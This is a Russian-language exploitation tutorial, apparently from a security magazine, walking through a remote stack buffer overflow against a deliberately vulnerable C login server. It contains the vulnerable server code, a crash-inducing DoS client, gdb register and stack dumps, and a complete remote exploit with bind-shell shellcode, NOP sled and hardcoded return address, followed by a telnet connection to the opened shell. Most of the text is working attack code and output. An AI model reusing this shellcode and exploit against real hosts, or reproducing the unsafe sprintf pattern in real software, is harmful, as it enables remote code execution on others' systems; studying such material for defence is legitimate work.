Читая множество документов по переполнению буфера,
технике переполнения буфера, я заметил, что во всех
мануалах, описываются только локальные переполнения,
а об удаленных ни слова… В данной статье я хотел бы
восполнить этот пробел и объяснить вам технику удаленного переполнения буфера. Речь у нас пойдет о том,
как написать клиента для переполнения
буфера удаленного сервера… В данной статье мы напишем уязвимый сервер
и клиента, который будет переполнять буфер у удаленного сервера с исполнением шеллкода… 

Скажу то, что клиент и сервер я взял у авторитетной
security-team — w00w00, в их архивах w00giving в раз деле
LibExploit. Я его немного подкорректировал (убрал библиотеку LibExploit), чтобы клиент мог исполняться на вашей системе без всяких проблем…

Итак, вот серверная часть:

[= Server =]

/*
* our buggy server
*/

#include
#include
#include

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
#define NO -1

int handling_client(int c) {
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;

strcpy(buffer, «Login : «);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == NO)
return NO;

bytes = recv(c, name, sizeof(name), 0);
if (bytes == NO)
return NO;

name[bytes — 1] = ‘\0’;

sprintf(buffer, «Hello %s!\r\n», name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == NO)
return NO;

return 0;
}

int main(int argc, char *argv[]) {
int Sock, con, client_size;
struct sockaddr_in srv, cli;

if (argc != 2) {
fprintf(stderr, «usage: %s port\n», argv[0]);
return 1;
}

Sock = socket(AF_INET, SOCK_STREAM, 0);
if (Sock == NO) {
perror(«socket() failed»);
return 2;
}

srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;

if (bind(Sock, &srv, sizeof(srv)) == NO) {
perror(«bind() failed»);
return 3;
}

if (listen(Sock, 3) == NO) {
perror(«listen() failed»);
return 4;
}

for(;;) {
con = accept(Sock, &cli, &client_size);
if (con == NO) {
perror(«accept() failed»);
return 5;
}

if (handling_client(con) == NO)
fprintf(stderr, «%s: handling() failed», argv[0]);
close(con);
}
return 0;
}
/* E0F */

[= Server =]

Хочу пояснить принцип действия серверной части:
сервер запускается на определенном порту и выводит
приглашение «Login» при подключении к нему клиентской части. Нетрудно догадаться, что размер Login
(buf) ограничен — 1024 байт, а размер переменной
name — 2048. Скажу, что в переменную name заносится
значение Login. Далее полученная строка копируется
в buf, и выводится сообщение вида : «Hello %s», где
%s веденное значение в поле Login (т.е. name). Ошибка заключается в том, что при вводе в поле Login слишком большее кол-во символов (более 1064), приводит
к тому, что сервер вылетит… Напомню, почему именно
1064, а не 1024, так это потому, что 1024 — сама строка, при вводе
1024 байт сервер не упадет, т.к. значение регистров не поменяются, 1064 байт, это значение при котором регистры затрутся и переполнят стек.

Идем далее…

Я предлагаю написать программу, которая будет укладывать сервер в даун. Т.е. программу —
DoS.

[= DoS client =]

#include
#include
#include

int main(int argc, char *argv[])
{
int i, sock;
char buf[1064];
struct sockaddr_in tgt;

if (argc < 2) { printf("usage : dos \n\n»);
return 0;
}

tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

for (i = 0; i < 1064; i++) buf[i] = 'A'; connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
send(sock, buf, sizeof(buf), 0);
close(sock);
}

[= DoS client =]

Думаю разобраться в этой программе очень легко,
т.к. в ней особо то сложного и нет. Программа просто соединятся с серверной частью и посылает ей данные — 1064 байт.

Предлагаю откомпилировать наш сервер и запустить.

[root@localhost home]# gcc server.c -o server
[root@localhost home]# ./server 12345

Итак мы запустили наш сервер на 12345-ом порту.
Давайте просто соединимся с ним при помощи стандартного telnet-клиента.

[root@localhost home]# telnet 127.0.0.1 12345
Trying 127.0.0.1…
Connected to localhost (127.0.0.1).
Escape character is ‘^]’.
Login : root
Hello root!
Connection closed by foreign host.
[root@localhost home]#

Как видно сервер просто копирует введенное значение и
выводит сообщение на экран. Теперь давайте запустим наш сервер в gdb и откомпилируем наш DoS клиент, и попытаемся запустить его на наш сервер.

[root@localhost home]# gdb server
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type «show copying» to see the conditions.
There is absolutely no warranty for GDB. Type «show warranty» for details.
This GDB was configured as «i586-mandrake-linux-gnu»…Using host libthread_db library «/lib/tls/libthread_db.so.1».

(gdb) r 12345
Starting program: /home/server 12345

Программа стартовала в gdb, теперь откомпилируйте dos
клиент и запустите его…

[root@localhost home]# gcc dos.c -o dos
[root@localhost home]# ./dos 127.0.0.1 12345
[root@localhost home]#

Взглянем на окно, где запущен сервер в gdb…

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Опа… Сервер завершился с ошибкой «Segmentation
fault» Это говорит о том, что мы затерли значение регистров…
0x41414141 in ?? () — эта строка говорит о том, что наша
программа обратилась по адресу 0x41414141 и в итоге завершилась…
Давайте взглянем на значения регистров…

(gdb) x/x $esp
0xbffff750: 0x41414141
(gdb)

Если вы знакомы с техникой переполнения, то вам скорее
уже все понятно… Скажу, что регистр $esp указывает на
значение 0x41414141.

Взглянем на другие важные регистры стека…

(gdb) i reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb)

Эти регистры затерлись значением «A» в hex формате…
Такс… Мы можем взять значение $esp за retaddr… Но
для большей уверенности давайте взглянем на стек изнутри…

(gdb) x/500bx $esp-500
0xbffff55c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff564: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff56c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff574: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff57c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff584: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff58c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff594: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff59c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff684: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff68c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff694: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff69c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
—Type to continue, or q to quit—
0xbffff6ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff704: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff70c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff714: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff74c: 0x41 0x41 0x41 0x41

Вот это да… Скажу то, что мы можем со 100% уверенностью
можем взять за значение retaddr что-то из этого :

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

Т.к. они указывают на наш адрес (0x41414141), т.е. «A»
(hex), следовательно при правильном формировании выполнят наш заветный шеллкод.

Итак хватит теории перейдем к практике… Теперь я предлагаю написать клиента, который будет соединяться с сервером и
передавать ей NOP+SHELLCODE+RET… Далее шеллкод будет исполняться на удаленной машите…

[= Remote Exloit =]
/*
* Exploit to overflow server program.
* Third example without using LibExploit 🙂
*
* Remote buffer overflow exploit.
*
*/

#include
#include
#include

static char shellcode[]= // Bind 2003 PORT
«\x31\xc0\x89\xc3\xb0\x02\xcd\x80\ x38\xc3\x74\x05\x8d\x43\x01\xcd\x80»
«\x31\xc0\x89\x45\x10\x40\x89\xc3\ x89\x45\x0c\x40\x89\x45\x08\x8d\x4d»
«\x08\xb0\x66\xcd\x80\x89\x45\x08\ x43\x66\x89\x5d\x14\x66\xc7\x45\x16»
«\x07\xd3\x31\xd2\x89\x55\x18\x8d\ x55\x14\x89\x55\x0c\xc6\x45\x10\x10»
«\xb0\x66\xcd\x80\x40\x89\x45\x0c\ x43\x43\xb0\x66\xcd\x80\x43\x89\x45»
«\x0c\x89\x45\x10\xb0\x66\xcd\x80\ x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41»
«\x80\xf9\x03\x75\xf6\x31\xd2\x52\ x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62»
«\x69\x89\xe3\x52\x53\x89\xe1\xb0\ x0b\xcd\x80»;

#define RET 0xbffff688

int main(int argc, char *argv[])
{
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;

printf(«using : 0x%x\n»,RET);

if (argc != 3)
{
printf(«usage : exploit ip port!\n»);
return 0;
}

memset(buffer, 0x90, 1064);
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
buffer[1000] = 0x90;
for (i = 1022; i < 1062; i+=4) {
*((int *)&buffer[i]) = RET;
}

buffer[1063] = 0x0;

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);

connect(s, (struct sockaddr *)&remote, sizeof(remote));
send(s, buffer, sizeof(buffer),0);

close(s);
}
[= Remote Exloit =]

Думаю, разобраться тут не столь сложно. Я лишь скажу, что
сначала мы подготавливаем буфер, заполняем его NOP’ами
в размере 1064 байт. Далее в буфер копируется шеллкод.
Переводим 1000 байт в NOP. Потом мы засовываем указатель на наш заветный шеллкод в
промежутке 1022 до 1059, это на подстраховку. Т.к. если
мы засунем указатель в конец буфера, то вряд ли шеллкод
сможет выполниться. Далее null’им 1063 байт. Т.е. конец
буфера… Потом соединяемся с сервером и отправляем наш
сформированный код. Осталось проверить его :

[root@localhost home]# gcc exploit.c -o exploit
[root@localhost home]# ./exploit 127.0.0.1 12345
using : 0xbffff688
[root@localhost home]# telnet 127.0.0.1 2003
Trying 127.0.0.1…
Connected to localhost (127.0.0.1).
Escape character is ‘^]’.

На последок можете взглянуть на окно сервера. Сервер
не упал. Он продолжает так же усердно работать. Т.е.
наша задача выполнена. Смею на этом отклониться…
Желаю всяческих удач в познавании основ эксплоитинга.

P.S. stan [unl0ck team]
http://www.wmpnet.ru/unl0ck

Благодарю всех членов команды unl0ck :
stine, -coVer-, d4rkeagle.
Так же спасибо xCrZx, т.к. шеллкод был взят из его эксплоита к mod_gzip.

Оставить мнение

Check Also

Миллионы серверов Exim находятся под атаками из-за свежей уязвимости

Более половины всех почтовых серверов в интернете находятся под угрозой: злоумышленники уж…